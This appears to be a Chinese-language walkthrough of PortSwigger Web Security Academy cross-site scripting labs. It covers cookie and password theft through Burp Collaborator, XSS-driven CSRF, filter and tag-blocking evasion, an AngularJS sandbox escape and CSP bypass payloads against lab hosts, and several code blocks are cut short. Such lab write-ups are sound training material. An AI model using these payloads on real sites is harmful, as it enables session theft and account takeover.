APPRENTICE
14. 利用跨站点脚本窃取 cookie
-
在 burp 中使用 Burp Collaborator Client,点击 copy to clipboard。
-
同时提交博客评论,修改 Burp Collaborator 子域名。
- 脚本的功能:查看评论的人发出 POST 请求以及 读取 cookie。
1 | <script> |
-
回到 Burp Collaborator,单击“Poll now”,以便看到 Http 交互从而找到 Cookie 值进行替换
-
刷新 Home 主页,在 Burp Repeater 中,Cookie 替换 Send 发送
/202410062103097.png)
/202410062103561.png)
15. 利用跨站点脚本捕获密码
依旧是在 burp 中使用 Burp Collaborator Client 功能,点击 copy to clipboard。然后评论博客注入脚本(查看评论的话,会发出包含其用户名和密码的 POST 请求)。
回到 Burp Collaborator,单击“Poll now”,找到用户名和密码进行登录即可
1 | <input name=username id=username> |
/202410062103333.png)
16. 利用 XSS 执行 CSRF
先进行登录,在更新电子邮件的位置审查元素,会发现存在 CSRF Token,修改电子邮件获取 CSRF Token 的值
将以下脚本写入博客评论中
1 | <script> |
/202410062103164.png)
17. 将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止
插入 XSS <img src=1 onerror=print()> 发现失败了,用 burp 抓包发送到 Burp Intruder 测试哪些标签和属性被阻止,先清除标签Clear §,然后将搜索词的值换为<§§>,在 XSS 备忘单点击Copy tags to clipboard
在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”粘贴。点击“start attack”。看到了 body 和custom tags 响应 200,于是知道了 body 没有过滤
继而将搜索词的值换为<body%20§§=1>,在 XSS 备忘单点击Copy events to clipboard
Clear 删除之前的 Payload,paste 粘贴刚复制的,点击“start attack”,发现 onresize 响应 200
1 | // 在 Go to exploit server 的 body 中 |
/202410062103114.png)
/202410062103209.png)
/202410062103797.png)
/202410062103329.png)
18. 将 XSS 反射到 HTML 上下文中,除了自定义标签外,所有标签都被阻止
自定义标记 XSS
1 | <script> |
19. 允许带有一些 SVG 标记的反射型 XSS
根据标题,测试一下是否可以用 <svg>。搜索框中输入
1 | <svg><animatetransform onbegin=alert(1) attributeName=transform> |
/202410062104288.png)
20. 规范链接标签中反映的 XSS
1 | https://0ad700e904e18a69c0580c0a00f50068.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1) |
21. 将 XSS 反射为带有单引号和反斜杠转义的 JavaScript 字符串
输入<script>alert(1)</script>发现(图一)
于是直接使用两个弹窗123"<script>alert(1)</script>"<script>alert(1)</script>(图二)
/202410062104110.png)
/202410062104567.png)
22. 将 XSS 反映到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义
输入后的东西会先被 HTML 编码,然后再被 URL 编码
1 | // 弹窗 |
注意到\没有进行编码
1 | 123\'+alert(1); // |
/202410062104081.png)
/202410062104436.png)
/202410062104878.png)
/202410062104147.png)
/202410062104514.png)
23. 将 XSS 反映到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义
HTML 解码:
http://aaa'+alert(1)+' --> http://aaa'+alert(1)+'
' 进行 Html 解码后是 '
1 | http://aaa'+alert(1)+' |
/202410062104361.png)
EXPERT
24. 带有事件处理程序和 href 属性的反射型 XSS 被阻止
模板字符串 - JavaScript | MDN (mozilla.org)
1 | ${alert(1)} |
/202410062104245.png)
/202410062104446.png)
/202410062104225.png)
25. 在 JavaScript URL 中反映了 XSS 并阻止了一些字符
1 | <svg><a><animate attributeName=href values="javascript:alert(1)" dur=1s repeatCount=2 /><text x=20 y=20>Click Me</text></a> |
/202410062104803.png)
/202410062104248.png)
26. 反射 XSS 与 AngularJS 沙箱转义没有字符串
1 | // 问题点 |
1 | https://0ae600a2036e6b38c13fc17000230068.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 |
27. 使用 AngularJS 沙箱转义和 CSP 的反射 XSS
1 | <script> |
28. 受非常严格的 CSP 保护的反射型 XSS,带有悬挂标记攻击
目的是需要修改被害者的 Email 变成 hacker@evil-user.net
需要取 CSRF Token,然后 CSRF PoC 放入 Token,修改邮箱地址……
/202410062104073.png)
30. 受 CSP 保护的反射型 XSS,绕过 CSP
预期解决方案只能在 Chrome 中使用。
1 | https://0a2a00f0049fa705c2fbc4b600460008.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27 |
CSP: script-src-elem - HTTP | MDN (mozilla.org)
/202410062104830.png)